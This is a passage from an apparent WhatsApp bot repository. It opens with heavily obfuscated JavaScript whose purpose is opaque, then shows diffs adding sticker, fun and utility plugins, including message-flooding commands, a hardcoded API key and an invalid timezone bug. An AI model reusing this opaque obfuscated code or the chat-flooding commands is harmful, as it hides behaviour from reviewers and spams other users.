_0x4416a6=0x1459+0x206*-0x12+0x1013;nZpYLe[_0x4f7979(-0x41,-0x77,-0x23,0x14)](_0x4416a6,_0xf4706a[_0x28311e(0x3af,0x3a5,0x388,0x3b2)]);_0x4416a6++){const _0x18c149=_0x482391[_0x4f7979(0x64,-0xb,0x8,0x3c)+'r'][_0x28311e(0x3c3,0x403,0x392,0x397)][_0x4f7979(-0x2b,-0x8,-0x28,0xf)](_0x39530d),_0x5c657c=_0xf4706a[_0x4416a6],_0x5b2034=_0x3dd36f[_0x5c657c]||_0x18c149;_0x18c149[_0x4f7979(-0xe6,-0x4f,-0x8f,-0xe4)]=_0x105fc8['bind'](_0x23ebcb),_0x18c149['toString']=_0x5b2034[_0x4f7979(-0x94,-0x47,-0x93,-0xc6)][_0x4f7979(0x2e,-0x53,-0x28,-0x1d)](_0x5b2034),_0x3dd36f[_0x5c657c]=_0x18c149;}}}catch(_0x1670ce){console[_0x4f7979(-0x18,0x19,-0x2,0x3d)](_0x186fd7[_0x28311e(0x35e,0x3ad,0x3b3,0x3b9)],_0x1670ce),_0x186fd7[_0x4f7979(-0x68,-0x6,-0x3b,-0x71)](_0x5e86b0,_0x4f7979(-0x56,-0x97,-0x54,-0x4e)+(_0x1670ce[_0x4f7979(-0x19,0x25,-0x4,-0x34)]||_0x186fd7[_0x28311e(0x336,0x317,0x34a,0x35c)]));}});function _0x751d(){const _0x12c172=['ChnoBKK','CMvHy3q','r2v0ignVBxbSzq','Cw16zw4','sxHduNO','ntC4nZG5t1H6qMHM','yM9gsxG','wvbPBeO','cIRILjtILiaG8j+RNYa','uvzjAxO','rKXwveW','kUkCMcdjTog0J+g0MYdHTkdHTiFkGa','sNLfsu0','Dgv4Da','B25xAgf0C0fWCa','zMv0y2HtDgf0Dq','C1LsAMm','z25Lsfu','EhrnzxnZywDL','BMfTzq','Cgf0DgvYBG','C3bSAxq','yLz4uhy','0PpjQUg0H+g0HtOQia','zxjYB3i6','E30Uy29UC3rYDq','4P2mievYCM9YoIa','kGRIGi4Q8j+BOE+4JYdHTkdHTiFkGmMQ','mKviq0nwDq','AxbmD2e','B2zPBguGAw5MBW','ywnfs0W','y0nZsxK','D2HVAxm','wvLmy1G','BwvUDgLVBNm','yNnJCMLIzq','ChvZAg5HBwu','qZrgws8XmJiXyG','q1jPt3C','kVcFKzeG4Bsa4Bsf4BsnYARjTcO','s2LZCxa','Aw5MBW','C1bYB2zPBgu','y2fWDgLVBG','mZe3odq4nvnwywDquW','y29UC29Szq','rMfPBgvKihrVia','yxbWBhK','lI4VBgLIl2z1BG','lI4Vy29TBwfUza','uuDwqNO','C2vUzgvY','kVcFKAuG4Bsn4Bsh4BsnYPNHTiFkGcO','y3rPB25Z','Dg9mB2nHBgvtDa','zgvZy3jPChrPBW','vfvoBLC','kcGOlISPkYKRkq','mtfMuunqrxa','zxn0t3C','DLPxAeq','YARsK8MQ4Bsh4BsfkG','YAPZ4BshkG','zenID2O','4P2mifvZzxiGBM90','AxnfBNrLCNbYAq','cUkaJGRIGi4Q4PQz77Ipiog0Gog0Hog0Ha','DguGDxnLCIbWCG','mJa0ntC1mK9ksLj3wa','yMLUza','AxncDxnPBMvZCW','C0Xsrxe','AwjIlMnVl0TOwq','D1PAsvq','tffKEwi','AwDqCKC','8j+QVcdjTog0Nog0JCQz4BshYOa6kG','igvYCM9YoG','m2jyzKPoyG','BgvUz3rO','C2v0qxq','wgfSs0m','zJjHzgjJzI1PyW','C2vHCMnO','BhLD','zxHPC3rZ','AhnbwMu','ufjprKLmrsdLVAhIMiu','kVcFKAqG4Bsy4BshYObZ4BspYBtHTia','r0DYq1C','imQzYARHTi8','YPNHTjXZYARjTog0H3nZ','ChjVzMLSzvbPyW','zMv0y2GGChjVzG','kSM04BspimQzYARHTi8G4Bsa4BsG','ndaWmdy4oeH2y2LltG','D2fYBG','ywrTAw4','y2f0y2G','ChjVDg90ExbL','zMLUza','Cez0r2q','svzQufi','mtbMDgHAzeq','BwfUzcbLCNjVCG','BwvZC2fNzq','ANjKvLK','zxjYB3i','DMvYAwzPzwroyq','ChjLC2vUy2vtDq','C+g0M+g0H8Qa4Bsh4BsfoIa','4BsaYARkN+g0GmQzYP/HTiCQ','ugvYC29UignVBq','t25TrgO','CxvVDgvK','y29UDgv4DeLUzG','ChjVzMLSzq','y29UC3rYDwn0BW','DhjHy2u','mZa1ndCWoejqDvnAAa','CMv0DxjUicHMDq','ihWG4O+WkIa','sufjq0W','4Bsy4BshYObZ4BspYBtHTidkNW','vvziqMG','Aw1Hz2u','cUkaJGRIGi4Q8j+tKsdHTidkMEg0JW','DvjrDgG','t1HKvMy','cUkaJIRILA3ILihILihILihIMixLVAeG','z2v0','AxnvC2vY','ndjImJKZmZe3zG','uwXjB04','q2zJwKK','4Psb4Psb4Psb4PwUkGRIGi4k4OcokG','C2vUze1LC3nHzW','DxjS','kGRIGi4Q4PYfimQa4BshYAljQG','DxbKyxrLza','uxPqrLe','C3rHDhvZ','DhLWzq','BerusxC','nte4nJi5m01nzNP1qG','Ahr0Chm6lY9PlG','B24UCg5N','Dg9tDhjPBMC','y3rVCIGICMv0Dq','yZbIzgqYmZu0yG','zfjhELa','x19WCM90B19F','CM4GDgHPCYiPka','tMfTzsbMzxrJAa','z0DUyxG','DgfIBgu','AwXL','B29yqxy','BKHKALi','AKPqDgS','v2HHDhnbCha','zxHJzxb0Aw9U','Cwrwt0m','lNbLCNnVBIbBqa','DxrPBgL0Eq','BM90Awz5','ANPPDxm','Bg9N','tfDeuvG','zfLev3u','v3nfzLq','BMn0Aw9UkcKG','zur2zgy','qMLVigzLDgnOia','CMvWBgfJzq','nMvOz0DPEG','y29UDgfJDerc','rKr0v2S','kVcFKRWGYPNHTjXZYARjTog0H3m','YBtHTjSG4BsBYO/HTjJHTiC6kIa','BwzABeW','ndC0mtu1mhr5Dxbjvq','wwTSA1O','wffRrKe'];_0x751d=function(){return _0x12c172;};return _0x751d();} diff --git a/plugins/tool-sticker.js b/plugins/tool-sticker.js new file mode 100644 index 0000000000000000000000000000000000000000..d3566259a9359429ee9d76aadf0e2ccc9b84ea81 --- /dev/null +++ b/plugins/tool-sticker.js @@ -0,0 +1,81 @@ + + +const path = require("path"); +const { fetchGif, fetchImage, gifToSticker } = require('../lib/sticker-utils'); +const { tmpdir } = require("os"); +const fetch = require("node-fetch"); +const Crypto = require("crypto"); +const ffmpegPath = require("@ffmpeg-installer/ffmpeg").path; +const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson } = require("../lib/functions"); +const ffmpeg = require("fluent-ffmpeg"); +const fs = require("fs"); +const { cmd } = require('../command'); +const { videoToWebp } = require('../lib/video-utils'); +const { Sticker, createSticker, StickerTypes } = require("wa-sticker-formatter"); +const config = require("../config"); + +cmd( + { + pattern: 'vsticker', + alias: ['gsticker', 'g2s', 'gs', 'v2s', 'vs',], + desc: 'Convert GIF/Video to a sticker.', + category: 'sticker', + use: '', + filename: __filename, + }, + async (conn, mek, m, { quoted, args, reply }) => { + try { + if (!mek.quoted) return reply('*Reply to a video or GIF to convert it to a sticker!*'); + + const mime = mek.quoted.mtype; + if (!['videoMessage', 'imageMessage'].includes(mime)) { + return reply('*Please reply to a valid video or GIF.*'); + } + + // Download the media file + const media = await mek.quoted.download(); + + // Convert the video to a WebP buffer + const webpBuffer = await videoToWebp(media); + + // Generate sticker metadata + const sticker = new Sticker(webpBuffer, { + pack: config.STICKER_NAME || 'My Pack', + author: '', // Leave blank or customize + type: StickerTypes.FULL, // FULL for regular stickers + categories: ['๐Ÿคฉ', '๐ŸŽ‰'], // Emoji categories + id: '12345', // Optional ID + quality: 75, // Set quality for optimization + background: 'transparent', // Transparent background + }); + + // Convert sticker to buffer and send + const stickerBuffer = await sticker.toBuffer(); + return conn.sendMessage(mek.chat, { sticker: stickerBuffer }, { quoted: mek }); + } catch (error) { + console.error(error); + reply(`โŒ An error occurred: ${error.message}`); + } + } +); + + +cmd({ + pattern: "attp", + desc: "Convert text to a GIF sticker.", + react: "โœจ", + category: "convert", + use: ".attp HI", + filename: __filename, +}, async (conn, mek, m, { args, reply }) => { + try { + if (!args[0]) return reply("*Please provide text!*"); + + const gifBuffer = await fetchGif(`https://api-fix.onrender.com/api/maker/attp?text=${encodeURIComponent(args[0])}`); + const stickerBuffer = await gifToSticker(gifBuffer); + + await conn.sendMessage(m.chat, { sticker: stickerBuffer }, { quoted: mek }); + } catch (error) { + reply(`โŒ ${error.message}`); + } +}); diff --git a/plugins/tools-fun.js b/plugins/tools-fun.js new file mode 100644 index 0000000000000000000000000000000000000000..d7946a312c5f63b568d0a6e7dc3a457a43ab25b1 --- /dev/null +++ b/plugins/tools-fun.js @@ -0,0 +1,370 @@ +const axios = require("axios"); +const fetch = require("node-fetch"); +const { sleep } = require('../lib/functions'); +const { cmd, commands } = require("../command"); + +cmd({ + pattern: "joke", + desc: "๐Ÿ˜‚ Get a random joke", + react: "๐Ÿคฃ", + category: "fun", + filename: __filename +}, async (conn, m, store, { reply }) => { + try { + const response = await axios.get("https://official-joke-api.appspot.com/random_joke"); + const joke = response.data; + + if (!joke || !joke.setup || !joke.punchline) { + return reply("โŒ Failed to fetch a joke. Please try again."); + } + + const jokeMessage = `๐Ÿคฃ *Here's a random joke for you!* ๐Ÿคฃ\n\n*${joke.setup}*\n\n${joke.punchline} ๐Ÿ˜†\n\n> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + return reply(jokeMessage); + } catch (error) { + console.error("โŒ Error in joke command:", error); + return reply("โš ๏ธ An error occurred while fetching the joke. Please try again."); + } +}); + +// flirt + +cmd({ + pattern: "flirt", + alias: ["masom", "line"], + desc: "Get a random flirt or pickup line.", + react: "๐Ÿ’˜", + category: "fun", + filename: __filename, +}, +async (conn, mek, m, { from, reply }) => { + try { + // Define API key and URL + const shizokeys = 'shizo'; + const apiUrl = `https://shizoapi.onrender.com/api/texts/flirt?apikey=${shizokeys}`; + + // Fetch data from the API + const res = await fetch(apiUrl); + if (!res.ok) { + throw new Error(`API error: ${await res.text()}`); + } + + const json = await res.json(); + if (!json.result) { + throw new Error("Invalid response from API."); + } + + // Extract and send the flirt message + const flirtMessage = `${json.result}`; + await conn.sendMessage(from, { + text: flirtMessage, + mentions: [m.sender], + }, { quoted: m }); + + } catch (error) { + console.error("Error in flirt command:", error); + reply("Sorry, something went wrong while fetching the flirt line. Please try again later."); + } +}); + +//truth + +cmd({ + pattern: "truth", + alias: ["truthquestion"], + desc: "Get a random truth question from the API.", + react: "โ“", + category: "fun", + filename: __filename, +}, +async (conn, mek, m, { from, reply }) => { + try { + const shizokeys = 'shizo'; + const res = await fetch(`https://shizoapi.onrender.com/api/texts/truth?apikey=${shizokeys}`); + + if (!res.ok) { + console.error(`API request failed with status ${res.status}`); + throw new Error(`API request failed with status ${res.status}`); + } + + const json = await res.json(); + + if (!json.result) { + console.error("Invalid API response: No 'result' field found."); + throw new Error("Invalid API response: No 'result' field found."); + } + + const truthText = `${json.result}`; + await conn.sendMessage(from, { + text: truthText, + mentions: [m.sender] + }, { quoted: m }); + + } catch (error) { + console.error("Error in truth command:", error); + reply("Sorry, something went wrong while fetching the truth question. Please try again later."); + } +}); + +// dare + +cmd({ + pattern: "dare", + alias: ["truthordare"], + desc: "Get a random dare from the API.", + react: "๐ŸŽฏ", + category: "fun", + filename: __filename, +}, +async (conn, mek, m, { from, reply }) => { + try { + // API Key + const shizokeys = 'shizo'; + + // Fetch dare text from the API + const res = await fetch(`https://shizoapi.onrender.com/api/texts/dare?apikey=${shizokeys}`); + + if (!res.ok) { + console.error(`API request failed with status ${res.status}`); + throw new Error(`API request failed with status ${res.status}`); + } + + const json = await res.json(); + + if (!json.result) { + console.error("Invalid API response: No 'result' field found."); + throw new Error("Invalid API response: No 'result' field found."); + } + + // Format the dare message + const dareText = `${json.result}`; + + // Send the dare to the chat + await conn.sendMessage(from, { + text: dareText, + mentions: [m.sender] + }, { quoted: m }); + + } catch (error) { + console.error("Error in dare command:", error); + reply("Sorry, something went wrong while fetching the dare. Please try again later."); + } +}); + +cmd({ + pattern: "fact", + desc: "๐Ÿง  Get a random fun fact", + react: "๐Ÿง ", + category: "fun", + filename: __filename +}, async (conn, m, store, { reply }) => { + try { + const response = await axios.get("https://uselessfacts.jsph.pl/random.json?language=en"); + const fact = response.data.text; + + if (!fact) { + return reply("โŒ Failed to fetch a fun fact. Please try again."); + } + + const factMessage = `๐Ÿง  *Random Fun Fact* ๐Ÿง \n\n${fact}\n\nIsn't that interesting? ๐Ÿ˜„\n\n> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + return reply(factMessage); + } catch (error) { + console.error("โŒ Error in fact command:", error); + return reply("โš ๏ธ An error occurred while fetching a fun fact. Please try again later."); + } +}); + +cmd({ + pattern: "pickupline", + alias: ["pickup"], + desc: "Get a random pickup line from the API.", + react: "๐Ÿ’ฌ", + category: "fun", + filename: __filename, +}, +async (conn, mek, m, { from, reply }) => { + try { + // Fetch pickup line from the API + const res = await fetch('https://api.popcat.xyz/pickuplines'); + + if (!res.ok) { + throw new Error(`API request failed with status ${res.status}`); + } + + const json = await res.json(); + + // Log the API response (for debugging purposes) + console.log('JSON response:', json); + + // Format the pickup line message + const pickupLine = `*Here's a pickup line for you:*\n\n"${json.pickupline}"\n\n> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + // Send the pickup line to the chat + await conn.sendMessage(from, { text: pickupLine }, { quoted: m }); + + } catch (error) { + console.error("Error in pickupline command:", error); + reply("Sorry, something went wrong while fetching the pickup line. Please try again later."); + } +}); + +// char + +cmd({ + pattern: "character", + alias: ["char"], + desc: "Check the character of a mentioned user.", + react: "๐Ÿ”ฅ", + category: "fun", + filename: __filename, +}, +async (conn, mek, m, { from, isGroup, text, reply }) => { + try { + // Ensure the command is used in a group + if (!isGroup) { + return reply("This command can only be used in groups."); + } + + // Extract the mentioned user + const mentionedUser = m.message.extendedTextMessage?.contextInfo?.mentionedJid?.[0]; + if (!mentionedUser) { + return reply("Please mention a user whose character you want to check."); + } + + // Define character traits + const userChar = [ + "Sigma", + "Generous", + "Grumpy", + "Overconfident", + "Obedient", + "Good", + "Simp", + "Kind", + "Patient", + "Pervert", + "Cool", + "Helpful", + "Brilliant", + "Sexy", + "Hot", + "Gorgeous", + "Cute", + ]; + + // Randomly select a character trait + const userCharacterSelection = + userChar[Math.floor(Math.random() * userChar.length)]; + + // Message to send + const message = `Character of @${mentionedUser.split("@")[0]} is *${userCharacterSelection}* ๐Ÿ”ฅโšก`; + + // Send the message with mentions + await conn.sendMessage(from, { + text: message, + mentions: [mentionedUser], + }, { quoted: m }); + + } catch (e) { + console.error("Error in character command:", e); + reply("An error occurred while processing the command. Please try again."); + } +}); + +cmd({ + pattern: "repeat", + alias: ["rp", "rpm"], + desc: "Repeat a message a specified number of times.", + category: "fun", + filename: __filename +}, async (conn, m, store, { args, reply }) => { + try { + if (!args[0]) { + return reply("โœณ๏ธ Use this command like:\n*Example:* .repeat 10,I love you"); + } + + const [countStr, ...messageParts] = args.join(" ").split(","); + const count = parseInt(countStr.trim()); + const message = messageParts.join(",").trim(); + + if (isNaN(count) || count <= 0 || count > 300) { + return reply("โŽ Please specify a valid number between 1 and 300."); + } + + if (!message) { + return reply("โŽ Please provide a message to repeat."); + } + + const repeatedMessage = Array(count).fill(message).join("\n"); + + reply(`๐Ÿ”„ Repeated ${count} times:\n\n${repeatedMessage}`); + } catch (error) { + console.error("โŒ Error in repeat command:", error); + reply("โŽ An error occurred while processing your request."); + } +}); + +cmd({ + pattern: "ask", + desc: "Send a message multiple times, one by one.", + category: "fun", + filename: __filename +}, async (conn, m, store, { args, reply, senderNumber }) => { + try { + const botOwner = conn.user.id.split(":")[0]; // Get bot owner's number + + if (senderNumber !== botOwner) { + return reply("โŽ Only the bot owner can use this command."); + } + + if (!args[0]) { + return reply("โœณ๏ธ Use this command like:\n *Example:* .send 10,I love you"); + } + + const [countStr, ...messageParts] = args.join(" ").split(","); + const count = parseInt(countStr.trim()); + const message = messageParts.join(",").trim(); + + if (isNaN(count) || count <= 0 || count > 100) { + return reply("โŽ Please specify a valid number between 1 and 100."); + } + + if (!message) { + return reply("โŽ Please provide a message to send."); + } + + reply(`โณ Sending "${message}" ${count} times. This may take a while...`); + + for (let i = 0; i < count; i++) { + await conn.sendMessage(m.from, { text: message }, { quoted: m }); + await sleep(1000); // 1-second delay + } + + reply(`โœ… Successfully sent the message ${count} times.`); + } catch (error) { + console.error("โŒ Error in ask command:", error); + reply("โŽ An error occurred while processing your request."); + } +}); + +cmd({ + pattern: "readmore", + alias: ["rm", "rmore", "readm"], + desc: "Generate a Read More message.", + category: "convert", + use: ".readmore ", + react: "๐Ÿ“", + filename: __filename +}, async (conn, m, store, { args, reply }) => { + try { + const inputText = args.join(" ") || "No text provided."; + const readMore = String.fromCharCode(8206).repeat(4000); // Creates a large hidden gap + const message = `${inputText} ${readMore} Continue Reading...`; + + await conn.sendMessage(m.from, { text: message }, { quoted: m }); + } catch (error) { + console.error("โŒ Error in readmore command:", error); + reply("โŒ An error occurred: " + error.message); + } +}); diff --git a/plugins/tools-game.js b/plugins/tools-game.js new file mode 100644 index 0000000000000000000000000000000000000000..3ffe0c545170828a14e2b344ef2b489862300474 --- /dev/null +++ b/plugins/tools-game.js @@ -0,0 +1,524 @@ + + +const { + sleep +} = require("../lib/functions"); +const { + cmd, + commands +} = require("../command"); +cmd({ + 'pattern': "rcolor", + 'react': "๐ŸŽจ", + 'alias':"randomcolour", + 'desc': "Generate a random color with name and code.", + 'category': "utility", + 'filename': __filename +}, async (_0xdb9b4f, _0x1dc91a, _0x232196, { + reply: _0x82e9b2 +}) => { + try { + const _0xb13dc7 = ["Red", 'Green', "Blue", "Yellow", 'Orange', 'Purple', 'Pink', 'Brown', 'Black', "White", "Gray", "Cyan", "Magenta", 'Violet', "Indigo", "Teal", 'Lavender', "Turquoise"]; + const _0x256030 = '#' + Math.floor(Math.random() * 0xffffff).toString(0x10); + const _0x5d0cef = _0xb13dc7[Math.floor(Math.random() * _0xb13dc7.length)]; + _0x82e9b2("๐ŸŽจ *\`ALI MD RANDOM COLOUR:\`* \n\nColour Name: " + _0x5d0cef + "\nCode: " + _0x256030); + } catch (_0x563257) { + console.error("Error in .randomcolor command:", _0x563257); + _0x82e9b2("โŒ An error occurred while generating the random color."); + } +}); +cmd({ + 'pattern': "binary", + 'react': "๐Ÿคนโ€โ™‚๏ธ", + 'desc': "Convert text into binary format.", + 'category': 'utility', + 'filename': __filename +}, async (_0x3249b3, _0x7a9df9, _0x3dccce, { + args: _0x1d50f3, + reply: _0x20adfd +}) => { + try { + if (!_0x1d50f3.length) { + return _0x20adfd("โŒ Please provide the text to convert to binary."); + } + const _0x12ab54 = _0x1d50f3.join(" "); + const _0x63c851 = _0x12ab54.split('').map(_0x41ab34 => { + return ("00000000" + _0x41ab34.charCodeAt(0x0).toString(0x2)).slice(-0x8); + }).join(" "); + _0x20adfd(" *\`Ali Binary Representation:\`* \n\n" + _0x63c851); + } catch (_0x307dbc) { + console.error("Error in .binary command:", _0x307dbc); + _0x20adfd("โŒ An error occurred while converting to binary."); + } +}); +cmd({ + 'pattern': "dbinary", + 'react': "๐Ÿงฉ", + 'desc': "Decode binary string into text.", + 'category': "utility", + 'filename': __filename +}, async (_0x5ef941, _0x158713, _0x4b75b0, { + args: _0x359424, + reply: _0x1fc9a9 +}) => { + try { + if (!_0x359424.length) { + return _0x1fc9a9("โŒ Please provide the binary string to decode."); + } + const _0x1e16b2 = _0x359424.join(" "); + const _0x26dbbd = _0x1e16b2.split(" ").map(_0x1bbd2b => { + return String.fromCharCode(parseInt(_0x1bbd2b, 0x2)); + }).join(''); + _0x1fc9a9("*\`Kerm Decoded Text:\`* \n\n" + _0x26dbbd); + } catch (_0xbe47d3) { + console.error("Error in .binarydecode command:", _0xbe47d3); + _0x1fc9a9("โŒ An error occurred while decoding the binary string."); + } +}); +cmd({ + 'pattern': "encode", + 'react': "๐Ÿงฉ", + 'desc': "Encode text into Base64 format.", + 'category': "utility", + 'filename': __filename +}, async (_0x4adb24, _0x673c52, _0x53b711, { + args: _0xc44ee1, + reply: _0x451688 +}) => { + try { + if (!_0xc44ee1.length) { + return _0x451688("โŒ Please provide the text to encode into Base64."); + } + const _0x3ffe51 = _0xc44ee1.join(" "); + const _0x3a1e80 = Buffer.from(_0x3ffe51).toString("base64"); + _0x451688(" *\`Encoded Base64 Text:\`* \n\n" + _0x3a1e80); + } catch (_0x2abb38) { + console.error("Error in .encode command:", _0x2abb38); + _0x451688("โŒ An error occurred while encoding the text into Base64."); + } +}); +cmd({ + 'pattern': 'decode', + 'react': "๐Ÿคนโ€โ™‚๏ธ", + 'desc': "Decode Base64 encoded text.", + 'category': "utility", + 'filename': __filename +}, async (_0x1089b2, _0x9b388b, _0x101929, { + args: _0x4fb23d, + reply: _0xe552ef +}) => { + try { + if (!_0x4fb23d.length) { + return _0xe552ef("โŒ Please provide the Base64 encoded text to decode."); + } + const _0x5c819 = _0x4fb23d.join(" "); + const _0x529359 = Buffer.from(_0x5c819, "base64").toString("utf-8"); + _0xe552ef("*\`Kerm Decoded Text:\`* \n\n" + _0x529359); + } catch (_0x28b6de) { + console.error("Error in .decode command:", _0x28b6de); + _0xe552ef("โŒ An error occurred while decoding the Base64 text."); + } +}); +cmd({ + 'pattern': "urlencode", + 'desc': "Encode text into URL encoding.", + 'category': 'utility', + 'filename': __filename +}, async (_0x1b66a1, _0x5ea663, _0x4703fd, { + args: _0x26d2aa, + reply: _0x12589d +}) => { + try { + if (!_0x26d2aa.length) { + return _0x12589d("โŒ Please provide the text to encode into URL encoding."); + } + const _0x2ed7cc = _0x26d2aa.join(" "); + const _0x35903e = encodeURIComponent(_0x2ed7cc); + _0x12589d(" *Encoded URL Text:* \n" + _0x35903e); + } catch (_0x380f20) { + console.error("Error in .urlencode command:", _0x380f20); + _0x12589d("โŒ An error occurred while encoding the text."); + } +}); +cmd({ + 'pattern': 'urldecode', + 'desc': "Decode URL encoded text.", + 'category': "utility", + 'filename': __filename +}, async (_0xebbefb, _0x141da6, _0x30d208, { + args: _0x297082, + reply: _0x585056 +}) => { + try { + if (!_0x297082.length) { + return _0x585056("โŒ Please provide the URL encoded text to decode."); + } + const _0x17faba = _0x297082.join(" "); + const _0x23cd98 = decodeURIComponent(_0x17faba); + _0x585056("๐Ÿ”“ *Decoded Text:* \n" + _0x23cd98); + } catch (_0x49aa11) { + console.error("Error in .urldecode command:", _0x49aa11); + _0x585056("โŒ An error occurred while decoding the URL encoded text."); + } +}); +cmd({ + 'pattern': "roll", + 'desc': "Roll a dice (1-6).", + 'category': 'fun', + 'filename': __filename +}, async (_0x52291b, _0x3b2718, _0x263aad, { + reply: _0x2f786c +}) => { + try { + const _0xc66607 = Math.floor(Math.random() * 0x6) + 0x1; + _0x2f786c("๐ŸŽฒ You rolled: *" + _0xc66607 + '*'); + } catch (_0xfc9684) { + console.error("Error in .roll command:", _0xfc9684); + _0x2f786c("โŒ An error occurred while rolling the dice."); + } +}); +cmd({ + 'pattern': "coinflip", + 'desc': "Flip a coin and get Heads or Tails.", + 'category': "fun", + 'filename': __filename +}, async (_0x43388c, _0x1f1a6d, _0x11ed37, { + reply: _0x3ce285 +}) => { + try { + const _0x264649 = Math.random() < 0.5 ? "Heads" : "Tails"; + _0x3ce285("๐Ÿช™ Coin Flip Result: *" + _0x264649 + '*'); + } catch (_0x233808) { + console.error("Error in .coinflip command:", _0x233808); + _0x3ce285("โŒ An error occurred while flipping the coin."); + } +}); +cmd({ + 'pattern': "flip", + 'desc': "Flip the text you provide.", + 'category': 'fun', + 'filename': __filename +}, async (_0x2ce830, _0x36a68e, _0x89c2b5, { + args: _0x4a0544, + reply: _0x20d297 +}) => { + try { + if (!_0x4a0544.length) { + return _0x20d297("โŒ Please provide the text to flip."); + } + const _0x8d1e25 = _0x4a0544.join(" ").split('').reverse().join(''); + _0x20d297("๐Ÿ”„ Flipped Text: *" + _0x8d1e25 + '*'); + } catch (_0x57be85) { + console.error("Error in .flip command:", _0x57be85); + _0x20d297("โŒ An error occurred while flipping the text."); + } +}); +cmd({ + 'pattern': "pick", + 'desc': "Pick between two choices.", + 'category': "fun", + 'filename': __filename +}, async (_0x3d4e6f, _0x59fa22, _0x231495, { + args: _0x5915c6, + reply: _0x92f526 +}) => { + try { + if (_0x5915c6.length < 0x2) { + return _0x92f526("โŒ Please provide two choices to pick from. Example: `.pick Ice Cream, Pizza`"); + } + const _0xb7816c = _0x5915c6.join(" ").split(',')[Math.floor(Math.random() * 0x2)].trim(); + _0x92f526("๐ŸŽ‰ Bot picks: *" + _0xb7816c + '*'); + } catch (_0x5a875f) { + console.error("Error in .pick command:", _0x5a875f); + _0x92f526("โŒ An error occurred while processing your request."); + } +}); +cmd({ + 'pattern': "timenow", + 'desc': "Check the current local time.", + 'category': "utility", + 'filename': __filename +}, async (_0x9a07a0, _0x44fd28, _0x70d7c, { + reply: _0x2cf87c +}) => { + try { + const _0x265dd6 = new Date(); + const _0x624003 = _0x265dd6.toLocaleTimeString("en-US", { + 'hour': '2-digit', + 'minute': "2-digit", + 'second': '2-digit', + 'hour12': true, + 'timeZone': "Asia/Pakistan" + }); + _0x2cf87c("๐Ÿ•’ Current Local Time in Zimbabwe6: " + _0x624003); + } catch (_0x39a156) { + console.error("Error in .timenow command:", _0x39a156); + _0x2cf87c("โŒ An error occurred. Please try again later."); + } +}); +cmd({ + 'pattern': 'date', + 'desc': "Check the current date.", + 'category': "utility", + 'filename': __filename +}, async (_0x33d0b2, _0x464ab3, _0xa1f520, { + reply: _0x2f4fd4 +}) => { + try { + const _0x11f490 = new Date(); + const _0x5987f3 = _0x11f490.toLocaleDateString('en-US', { + 'weekday': 'long', + 'year': "numeric", + 'month': 'long', + 'day': "numeric" + }); + _0x2f4fd4("๐Ÿ“… Current Date: " + _0x5987f3); + } catch (_0x2ed4a8) { + console.error("Error in .date command:", _0x2ed4a8); + _0x2f4fd4("โŒ An error occurred. Please try again later."); + } +}); +cmd({ + 'pattern': 'shapar', + 'desc': "Send shapar ASCII art with mentions.", + 'category': 'fun', + 'filename': __filename +}, async (_0x36fc22, _0x5e5045, _0x46ed7e, { + from: _0x4a95e9, + isGroup: _0x4545db, + reply: _0x2c6281 +}) => { + try { + if (!_0x4545db) { + return _0x2c6281("This command can only be used in groups."); + } + const _0x11404d = _0x46ed7e.message.extendedTextMessage?.["contextInfo"]?.["mentionedJid"]?.[0x0]; + if (!_0x11404d) { + return _0x2c6281("Please mention a user to send the ASCII art to."); + } + const _0x359ce7 = "๐Ÿ˜‚ @" + _0x11404d.split('@')[0x0] + "!\n๐Ÿ˜‚ that for you:\n\n" + "\n _______\n .-' '-.\n / /|\n / / |\n /___________/ |\n | _______ | |\n | | \\ \\ || |\n | | \\ \\ || |\n | |____\\ \\|| |\n | '._ _.'|| |\n | .' '. || |\n | '.___.' || |\n |___________|| |\n '------------' |\n \\_____________\\|\n"; + await _0x36fc22.sendMessage(_0x4a95e9, { + 'text': _0x359ce7, + 'mentions': [_0x11404d] + }, { + 'quoted': _0x46ed7e + }); + } catch (_0x57e7a8) { + console.error("Error in .shapar command:", _0x57e7a8); + _0x2c6281("An error occurred while processing the command. Please try again."); + } +}); +cmd({ + 'pattern': "rate", + 'desc': "Rate someone out of 10.", + 'category': "fun", + 'filename': __filename +}, async (_0x54e566, _0x542197, _0x533c27, { + from: _0x8dd0a, + isGroup: _0x5485c0, + reply: _0x4c482a +}) => { + try { + if (!_0x5485c0) { + return _0x4c482a("This command can only be used in groups."); + } + const _0x206461 = _0x533c27.message.extendedTextMessage?.["contextInfo"]?.['mentionedJid']?.[0x0]; + if (!_0x206461) { + return _0x4c482a("Please mention someone to rate."); + } + const _0x2ccf17 = Math.floor(Math.random() * 0xa) + 0x1; + const _0x2febc0 = '@' + _0x206461.split('@')[0x0] + " is rated " + _0x2ccf17 + '/10.'; + await _0x54e566.sendMessage(_0x8dd0a, { + 'text': _0x2febc0, + 'mentions': [_0x206461] + }, { + 'quoted': _0x533c27 + }); + } catch (_0xfc2d68) { + console.error("Error in .rate command:", _0xfc2d68); + _0x4c482a("An error occurred. Please try again."); + } +}); +cmd({ + 'pattern': "countx", + 'desc': "Start a reverse countdown from the specified number to 1.", + 'category': 'owner', + 'filename': __filename +}, async (_0x463a1d, _0x2de13d, _0x574864, { + args: _0x446409, + reply: _0x467ce5, + senderNumber: _0x296132 +}) => { + try { + const _0x42aa6c = _0x463a1d.user.id.split(':')[0x0]; + if (_0x296132 !== _0x42aa6c) { + return _0x467ce5("โŽ Only the bot owner can use this command."); + } + if (!_0x446409[0x0]) { + return _0x467ce5("โœณ๏ธ Use this command like:\n *Example:* .countx 10"); + } + const _0x597580 = parseInt(_0x446409[0x0].trim()); + if (isNaN(_0x597580) || _0x597580 <= 0x0 || _0x597580 > 0x32) { + return _0x467ce5("โŽ Please specify a valid number between 1 and 50."); + } + _0x467ce5("โณ Starting reverse countdown from " + _0x597580 + "..."); + for (let _0x25839e = _0x597580; _0x25839e >= 0x1; _0x25839e--) { + await _0x463a1d.sendMessage(_0x574864.chat, { + 'text': '' + _0x25839e + }, { + 'quoted': _0x2de13d + }); + await sleep(0x3e8); + } + _0x467ce5("โœ… Countdown completed."); + } catch (_0x1dc26f) { + console.error(_0x1dc26f); + _0x467ce5("โŽ An error occurred while processing your request."); + } +}); +cmd({ + 'pattern': "count", + 'desc': "Start a countdown from 1 to the specified number.", + 'category': 'owner', + 'filename': __filename 